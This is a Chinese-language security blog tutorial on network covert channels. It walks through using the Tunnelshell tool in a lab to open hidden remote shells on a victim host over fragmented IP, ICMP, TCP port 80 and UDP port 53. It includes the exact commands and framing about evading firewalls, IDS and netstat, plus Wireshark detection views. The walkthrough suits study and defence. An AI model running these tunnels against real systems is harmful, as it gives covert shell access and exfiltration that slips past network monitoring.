隐蔽信道:隐形网络

admin 2021年5月9日01:23:45评论112 views字数 2823阅读9分24秒阅读模式

序言

通常来说,攻击者会使用隐藏的网络来绕过防火墙和IDS的检测。在这篇文章中,你将会学习到如何通过无法检测的网络通信从目标主机中获取信息。这种类型的网络也被称为隐蔽信道,对于任何的监控设备/应用或者是网络管理员来说,这种流量就像正常的流量一样。我们可以认为它是一种隐写术,但又不完全是隐写术。两个终端用户可以使用隐蔽通道来进行通信,网络管理员无法检测到。

红队成员在执行红队任务时,通常在一个合法的网络中使用隐蔽信道来进行数据传输,传输数据是在两个终端之间秘密共享数据的过程。

什么是隐蔽信道?

Covert这个单词的意思就是“隐藏的,无法检测的”,信道是一种通信模式,因此隐蔽信道表示的就是无法检测的网络通信。通过秘密信道传输的流量,管理员是无法检测到的。了解加密通信和隐蔽通信的区别十分重要。在隐蔽通信中,数据流是由未授权的第三方篡改的,而在加密通信中,它是不会隐藏两个终端间存在加密通信这个事实的。

隐蔽信道类型

存储隐蔽信道:通过修改“存储位置”进行通信,这将允许一个进程直接或间接写入存储位置,而且允许另外一个进程直接或间接读取存储位置。

定时隐蔽信道:执行操作,影响接收器“观察到的实时响应时间”。

注意:众所周知的spectre和meltdown使用的是系统的页面缓存作为他们的隐蔽信道进行泄露数据的。

使用Tunnelshell进行隐蔽信道攻击

几乎任何协议都是可以用来进行隐蔽通信。不过,绝大多数的隐蔽信道研究都是基于第三层(网络层)和第四层(传输层)的,如ICMP,IP和TCP协议。7层协议(应用层)如HTTP和DNS协议偶尔也会使用。这种机制传输信息是不会触发网络防火墙和IDS警报的,而且netstat也检测不到。

什么是tunnelshell

Tunnelshell是一个用C语言编写的程序,适用于Linux用户,是以客户端-服务端的模式工作的。服务端打开一个/bin/sh shell,客户端可以通过虚拟隧道进行访问。它适用于多种协议,包括TCP,UDP,ICMP和RawIP。而且数据包还可以进行分段来绕过防火墙和IDS。
下面我们来实际操作一下,了解更多细节。

环境要求

服务器端(kali Linux IP:10.10.10.1)
客户端(Ubuntu18.04 IP:10.10.10.2 )
隐蔽通信工具(Tunnelshell),下载地址

这里我假设我们已经通过C2服务器获取了受害者主机的会话。现在,我们需要创建一个隐蔽通信信道来进行数据传输。因此,要在客户端和服务端同时安装上tunnelshell。

过程

服务端下载好后,解压文件并进行编译,如下所示:
tar xvfz tunnelshell_2.3.tgz
Make

隐蔽信道:隐形网络
同样地,客户端执行相同的操作,完成之后,在终端中执行下列命令,为服务端(攻击者)开启一个通信信道
sudo ./tunneld
默认情况下,它会发送分段数据包,然后在所有分段到达服务器后重新组合,以此来绕过防火墙和IDS。
现在要通过tunnelshell进行连接,我们要在服务端(攻击者主机)执行下列命令,这将会建立一个隐蔽信道来进行数据传输。
语法:
```
./tunnel -i -d -s -t -o -p -m -a
./tunnel -t frag 10.10.10.2

frag:使用IPv4分段数据包进行封装数据。当路由器和防火墙(如思科路由器)接收到第4层没有headers的分段数据包时,即使他们有拒绝规则,但还是会允许通过。通过下图,你可以看到它成功连接到了10.10.10.2,我们获得了受害者主机的shell,如图:
![image.png](/img/sin/M00/00/0A/wKg0C15CY5uAMvM0AABfGSZNuVI137.png)
前面说过,如果使用netstat命令来检查网络状态,你看不到任何有关tunnelshell的进程ID。不过,通过ps命令是能够看到进程信息的,然后再通过netstat命令查看它的进程ID,如下图:

ps |grep .tunneld
netstat –ano
```

隐蔽信道:隐形网络
我们用wireshark抓包来看一下10.10.10.1(攻击者IP)和10.10.10.2(靶机IP)之间的网络流量,如下图,两个终端之间的数据流看起来是正常的,但是如果进行正确的监控的话,网络管理员是可以嗅探到数据包的。下图中可以观察到wireshark捕获了隐蔽的流量并且嗅探到了两个终端设备之间传输的数据

隐蔽信道:隐形网络

隐蔽的ICMP信道

我们知道ping命令使用的是ICMP通信,也就是使用ICMP echo请求和ICMP echo回应查询在两台主机之间建立连接的,因此,我们可以执行下列命令:
sudo ./tunneld -t icmp -m echo-reply, echo

隐蔽信道:隐形网络
现在要通过tunnelshell建立连接,我们需要在服务端执行下列命令,这可以建立一个隐蔽信道来进行数据传输;
./tunnel -t icmp -m echo-reply,echo 10.10.10.2

隐蔽信道:隐形网络
可以看到,它成功的连接到10.10.10.2,而且攻击者已经能够访问靶机的shell了。
同样,如果使用wireshark抓包的话,还是能够看到ICMP echo请求和回应包在两个终端之间传输。如果继续对这些数据包进行分析的话,就能够看到ICMP数据包传输的payload是什么了,如图:

隐蔽信道:隐形网络

隐蔽的HTTP信道

它会建立一个虚拟的TCP连接而不用进行三次握手。它不会绑定任何端口,所以你可以使用一个已经被其他进程使用的端口,所以,我们可以执行下列命令:
sudo ./tunneld -t tcp -p 80,2000

隐蔽信道:隐形网络
现在,要通过tunnelshell建立连接,我们需要在服务端执行下列命令,执行完之后,就会建立一个隐蔽信道进行数据传输
./tunnel -t tcp -p 80,2000 10.10.10.2

隐蔽信道:隐形网络
图中可以看到,已经成功连接到10.10.10.2,攻击者可以访问靶机的shell
同样地,进行wireshark抓包,可以看到在源和目标之间建立了没有三次握手的TCP连接,如图:

隐蔽信道:隐形网络

隐蔽的DNS信道

要建立DNS隐蔽信道,我们需要在两台主机上同时运行UDP隧道模式。所以,我们在靶机上执行下列命令:
sudo ./tunneld -t udp -p 53,2000

隐蔽信道:隐形网络
同样地,在攻击机上执行下列命令进行隧道连接
./tunnel -t udp -p 53,2000 10.10.10.2

隐蔽信道:隐形网络
抓包分析,可以看到畸形分组的DNS数据包包含了两个终端之间传递的数据,如图:

隐蔽信道:隐形网络

总结

隐蔽信道在数据传输时并不会发送加密的数据包,因此它很容易进行嗅探,网络管理员可以很轻易地执行数据损失和风险管理。

相关推荐: SonicWall SSL-VPN 远程命令执行

漏洞简介 由于 SonicWall SSL-VPN 历史版本(Sonic SMA < 8.0.0.4) 使用了受 Shellshock 漏洞影响的 bash 版本以及 HTTP CGI 可执行程序,攻击者可构造其恶意 HTTP 请求头,造成远程任意命令执…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月9日01:23:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   隐蔽信道:隐形网络https://cn-sec.com/archives/246214.html